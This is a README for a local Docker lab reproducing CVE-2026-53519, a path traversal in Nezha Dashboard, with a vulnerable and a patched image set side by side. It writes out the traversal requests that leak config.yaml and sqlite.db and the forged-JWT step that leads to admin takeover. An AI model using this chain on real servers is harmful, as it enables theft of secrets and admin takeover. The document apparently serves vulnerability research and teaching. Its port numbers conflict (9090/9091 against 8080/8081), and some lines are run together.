
Docker lab reproducing CVE-2026-53519, a pre-auth path traversal in Nezha Dashboard that leaks jwt_secret_key and enables JWT forgery and admin takeover.
Lab tai hien lo hong pre-auth path traversal via /dashboard.. prefix confusion trong
Nezha Dashboard, dan toi leak jwt_secret_key -> forge JWT -> chiem quyen admin.
Moi truong Docker, tach A/B theo version de so sanh vuln vs patched.
| Image | URL (loopback) | Ket qua ky vong | |
|---|---|---|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | leak config.yaml, chiem admin |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | bi chan (404) |
Both bind to 127.0.0.1, not exposed to the LAN. Default admin login: admin / admin.
python) - to parse the leaked sqlite.db (with fallback if missing)# 1. Seed data + bring up 2 containers (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Quick smoke check
.\lab.ps1 validate
# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Management commands:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> leak jwt_secret_key.
GET /dashboard../data/sqlite.db -> lay user id admin (id=1).{user_id:"1", ip:"", exp:<future>} bang secret leak -> Authorization: Bearer <token>
-> GET /api/v1/profile (xac thuc) va GET /api/v1/user (endpoint chi-admin) -> admin takeover.Detailed root cause: see analysis/ROOT_CAUSE.md and
analysis/vuln-vs-patch.diff.
Full report: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed fixed jwt_secret_key (deterministic)
seed/lab_canary.txt # canary to demonstrate file read
lab.ps1 / lab-common.ps1 # management + helpers (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # full exploitation chain
poc/negative-controls.ps1 # controls for blocked variants
poc/parse_users.py # parse leaked sqlite.db -> admin user id
analysis/ROOT_CAUSE.md # analysis + patch
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output from each run (leaked-config, token, userlist...)
The lab is for research/education in a local environment only. jwt_secret_key in seed/config.yaml
is a fake value, for demo purposes only. Do not use this vulnerable image/version in production.